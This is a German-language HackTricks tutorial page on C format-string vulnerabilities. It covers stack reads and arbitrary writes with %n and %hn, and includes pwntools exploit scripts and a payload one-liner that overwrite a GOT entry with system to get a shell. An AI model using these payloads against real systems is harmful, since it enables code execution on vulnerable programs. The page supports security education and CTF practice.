.. | ||
format-strings-template.md | ||
README.md |
Format Strings
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks beworben sehen? Oder möchten Sie Zugriff auf die neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das hacktricks-Repository und das hacktricks-cloud-Repository senden.
Grundlegende Informationen
In C ist printf
eine Funktion, die verwendet werden kann, um einen String auszugeben. Der erste Parameter, den diese Funktion erwartet, ist der rohe Text mit den Formatierern. Die folgenden erwarteten Parameter sind die Werte, die die Formatierer des Rohtexts ersetzen sollen.
Die Verwundbarkeit tritt auf, wenn ein Angreifertext als erster Argument an diese Funktion übergeben wird. Der Angreifer kann einen speziellen Eingabe missbrauchen, um die Fähigkeiten der printf-Formatzeichenfolge zu nutzen und beliebige Daten an beliebiger Adresse zu lesen und zu schreiben (lesbar/schreibbar). Auf diese Weise kann er beliebigen Code ausführen.
Formatierer:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Beispiele:
- Verwundbares Beispiel:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Normale Verwendung:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Mit fehlenden Argumenten:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
Zugriff auf Zeiger
Das Format %<n>$x
, wobei n
eine Zahl ist, ermöglicht es printf anzuzeigen, dass der n-te Parameter (vom Stack) ausgewählt werden soll. Wenn Sie also den vierten Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun:
printf("%x %x %x %x")
und Sie würden vom ersten bis zum vierten Parameter lesen.
Oder Sie könnten:
printf("$4%x")
und lesen Sie direkt den vierten.
Beachten Sie, dass der Angreifer den pr
intf
-Parameter kontrolliert, was im Grunde bedeutet, dass seine Eingabe im Stapel liegt, wenn printf
aufgerufen wird, was bedeutet, dass er spezifische Speicheradressen im Stapel schreiben könnte.
{% hint style="danger" %}
Ein Angreifer, der diese Eingabe kontrolliert, kann beliebige Adressen im Stapel hinzufügen und printf
dazu bringen, darauf zuzugreifen. Im nächsten Abschnitt wird erläutert, wie dieses Verhalten genutzt werden kann.
{% endhint %}
Beliebiges Lesen
Es ist möglich, den Formatter $n%s
zu verwenden, um printf
dazu zu bringen, die Adresse zu erhalten, die sich an der n-Position befindet, und sie dann zu drucken, als ob es ein String wäre (drucken, bis eine 0x00 gefunden wird). Wenn die Basisadresse der Binärdatei 0x8048000
ist und wir wissen, dass die Benutzereingabe in der vierten Position im Stapel beginnt, ist es möglich, den Anfang der Binärdatei mit auszugeben:
from pwn import *
p = process('./bin')
payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} Beachten Sie, dass Sie die Adresse 0x8048000 nicht am Anfang der Eingabe platzieren können, da die Zeichenkette am Ende dieser Adresse mit 0x00 abgeschnitten wird. {% endhint %}
Willkürliches Schreiben
Der Formatter $<num>%n
schreibt die Anzahl der geschriebenen Bytes in die angegebene Adresse im <num> Parameter im Stapel. Wenn ein Angreifer so viele Zeichen wie möglich mit printf schreiben kann, kann er $<num>%n
dazu bringen, eine beliebige Zahl an eine beliebige Adresse zu schreiben.
Glücklicherweise ist es nicht erforderlich, 9999 "A"s zur Eingabe hinzuzufügen, um die Zahl 9999 zu schreiben. Stattdessen kann der Formatter %.<num-write>%<num>$n
verwendet werden, um die Zahl <num-write>
in die Adresse zu schreiben, auf die die Position num
zeigt.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Jedoch ist zu beachten, dass normalerweise, um eine Adresse wie 0x08049724
zu schreiben (was eine GROSSE Zahl ist, um sie auf einmal zu schreiben), $hn
anstelle von $n
verwendet wird. Dies ermöglicht es, nur 2 Bytes zu schreiben. Daher wird diese Operation zweimal durchgeführt, einmal für die höchsten 2 Bytes der Adresse und ein weiteres Mal für die niedrigeren.
Daher ermöglicht diese Schwachstelle, beliebige Daten an beliebige Adressen zu schreiben (beliebiges Schreiben).
In diesem Beispiel soll das Ziel sein, die Adresse einer Funktion in der GOT-Tabelle zu überschreiben, die später aufgerufen wird. Obwohl dies auch andere Techniken zum Ausführen von beliebigem Code durch beliebiges Schreiben ausnutzen könnte:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
Wir werden eine Funktion überschreiben, die ihre Argumente vom Benutzer erhält und sie auf die system
Funktion verweisen.
Wie bereits erwähnt, sind in der Regel 2 Schritte erforderlich, um die Adresse zu schreiben: Sie schreiben zuerst 2 Bytes der Adresse und dann die anderen 2. Dazu wird $hn
verwendet.
- HOB bezieht sich auf die 2 höheren Bytes der Adresse
- LOB bezieht sich auf die 2 niedrigeren Bytes der Adresse
Dann, aufgrund der Funktionsweise von Format-Strings, müssen Sie zuerst das kleinere von [HOB, LOB] schreiben und dann das andere.
Wenn HOB < LOB
[Adresse+2][Adresse]%.[HOB-8]x%[Offset]\$hn%.[LOB-HOB]x%[Offset+1]
Wenn HOB > LOB
[Adresse+2][Adresse]%.[LOB-8]x%[Offset+1]\$hn%.[HOB-LOB]x%[Offset]
HOB LOB HOB_Shellcode-8 NºParam_dir_HOB LOB_Shell-HOB_Shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Pwntools Vorlage
Sie können eine Vorlage finden, um einen Exploit für diese Art von Schwachstelle vorzubereiten unter:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
Oder dieses grundlegende Beispiel von hier:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Weitere Beispiele & Referenzen
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 Bit, kein relro, kein Canary, NX, kein PIE, grundlegende Verwendung von Format-Strings zum Auslesen der Flagge vom Stack (keine Notwendigkeit, den Ausführungsfluss zu ändern)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 Bit, relro, kein Canary, NX, kein PIE, Format-String zum Überschreiben der Adresse
fflush
mit der Win-Funktion (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 Bit, relro, kein Canary, NX, kein PIE, Format-String zum Schreiben einer Adresse innerhalb von
main
in.fini_array
(damit der Fluss 1 Mal mehr zurückkehrt) und Schreiben der Adresse zusystem
in der GOT-Tabelle, die aufstrlen
zeigt. Wenn der Fluss zumain
zurückkehrt, wirdstrlen
mit Benutzereingabe ausgeführt und aufsystem
verweist, werden die übergebenen Befehle ausgeführt.